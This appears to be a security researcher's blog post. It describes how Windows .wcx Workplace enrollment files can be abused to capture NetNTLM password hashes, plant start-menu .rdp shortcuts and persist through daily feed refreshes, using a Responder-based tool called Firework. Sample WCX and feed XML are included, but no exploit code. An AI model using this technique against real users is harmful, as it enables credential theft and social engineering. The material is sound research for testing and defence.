WCX files can be used to configure a Microsoft Workplace on a system with a couple of clicks. The enrollment process could disclose credentials in the form of a NetNTLM hash. Authentication will either take place automatically on older Windows versions or will prompt a user for credentials on more recent ones. Workplaces can potentially be further weaponized as part of a wider social engineering campaign.
Sometimes, the most dangerous attack payloads are those that leverage native functionality in its intended way. Particularly if it is not widely adopted or perceived to be dangerous. Whilst conducting some research into hardening of Windows systems and potentially dangerous file extensions, I came across the WCX file extension. If you create a file with this extension on a Windows platform you will notice it will gain a 'Microsoft Remote Desktop' looking icon, a hint to what this corresponds to. It turns out that this format is used to provision Microsoft Workplaces where you farm out your applications or desktops to a Terminal Services Farm. Naturally, Microsoft makes the provisioning process as easy as possible and you are one click of a .wcx file away from setting up a 'Workplace'. What happens when you do this?
The WCX file format looks like the following – and I have not seen anything more exotic in files I have seen or any specifications:
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<workspace name="abc Remote Access" xmlns="http://schemas.microsoft.com/ts/2008/09/tswcx" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<defaultFeed url="https://example.org/" />
</workspace>
As you can see, a file simply contains a URL to a remote web server. This URL should link to an XML file that contains the information required to set-up applications and desktops.
Clicking on a .wcx file gives you the following warning:
Now, if you read the technical specificationone interesting thing that jumped out straightaway was the following "[The authentication process is] achieved using the Simple and Protected GSS-API Negotiation Mechanism (SPNEGO)-based Kerberos and the NT LAN Manager (NTLM) Authentication Protocol over HTTP, as specified in [RFC4559]." Having read this in the specification I started working on a tool which sets to mimic a Remote Desktop server, handling authentication and delivering all the things required for a successful enrollment.
Introducing Firework, a python-based tool, which for the NetNTLM web server side borrows most of its code from Responder. Beyond this, it simply generates the required resources and serves them following a successful authentication flow.
My first observations were that clicking 'Next' after clicking on a .wcx file causes Windows 7 host to authenticate over a proxy aware HTTPS connection, providing a NetNTLM hash corresponding to the fixed challenge we presented. This hash could be cracked, or potentially, we could modify the process to relay the hash to an application that we have access to. For more recent versions of Windows such including Windows 10 a user is presented with a credential prompt, which should they submit, the hash makes it way out over HTTPS.
After giving away the user hash, Windows should receive a valid feed from the tool which looks something like the following XML:
<?xml version="1.0" encoding="utf-8"?>
<ResourceCollection PubDate="2009-07-09T17:57:30.323Z" SchemaVersion="1.1" xmlns="http://schemas.microsoft.com/ts/2007/05/tswf">
<Publisher LastUpdated="2009-07-09T17:57:12.588625Z" Name="abc" ID="Contoso" Description="">
<Resources>
<Resource ID="2489cc78-44d8-46e8-a35d-5539c481d864" Alias="Excel" Title="Excel" LastUpdated="2009-07-09T17:57:12.588625Z" Type="RemoteApp" ExecutableName="excel.exe">
<Icons>
<IconRaw FileType="ico" FileURL="/2489cc78-44d8-46e8-a35d-5539c481d864.ico" />
</Icons>
<FileExtensions>
<FileExtension Name=".xls" />
</FileExtensions>
<HostingTerminalServers>
<HostingTerminalServer>
<ResourceFile FileExtension=".rdp" URL="/2489cc78-44d8-46e8-a35d-5539c481d864.rdp" />
<TerminalServerRef Ref="Contoso" />
</HostingTerminalServer>
</HostingTerminalServers>
</Resource>
</Resources>
<TerminalServers>
<TerminalServer ID="Contoso" Name="Contoso" LastUpdated="2009-07-09T17:57:12.588625Z" />
</TerminalServers>
</Publisher>
</ResourceCollection>
The victim who clicked on the .wcx file would have seen the following dialog and now there will be a nice icon in their start menu for our 'Application'.
Depending on the target OS version the location varies slightly as you can see in the below examples of Windows 7 and Windows 10 respectively.
So, behind the scenes what has happened? Well, Windows has gone and downloaded our .rdp and .ico files from our server to the following path:
C:\Users\<user>\AppData\Roaming\Microsoft\Workspaces\{44FF1EEA-DF4F-494B-829B-5454374D3E75}
Additionally, Windows has created a shortcut at the following path:
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\abc(RADC)
This links to mstsc.exe with the .rdp connection file we served:
%systemroot%\system32\mstsc.exe "C:\Users\<user>\AppData\Roaming\Microsoft\Workspaces\{44FF1EEA-DF4F-494B-829B-5454374D3E75}\Resource\Excel(abc).rdp"
Attempts at introducing dangerous values to a provisioning feed were largely unsuccessful and mostly led to the provisioning or update process to fail. However, using as intended links to arbitrary .rdp files can be installed in the start menu. Depending on the configuration of the target, such files may be used as a wider social engineering campaign. Obviously, the feed parameters give us some scope for making a malicious enrollment more believable, for example, using 'Secure' as an publisher name. It may be possible coerce a user to logon to an attacker controlled RDP server, mapping across local resources or, if an attacker had some knowledge of the target environment, they could potentially configure a connection to a local server, and specify a command to be run upon a successful connection. Such attack scenarios are based upon the scope of the RDP connection files themselves which offer a lot of scope for being creative. In a fairly vanilla recent OS configuration there are typically several warnings that must be clicked through by a user and options such as 'password 51' are ineffective. Content checking on the resource files themselves did not appear that strict, therefore we could potentially hide a payload executed by other means.
Another interesting factor to this workplace provisioning process is that, given the nature of the functionality, it is persistent. A system will attempt continue to update the XML feed to refresh available applications and desktops. This is particularly interesting for Windows 7, in doing so we get a new NetNTLM password hash every day. If we do not force authentication on our feed, on more recent operating systems such as Windows 10 we can refresh resources and items in the start menu regularly.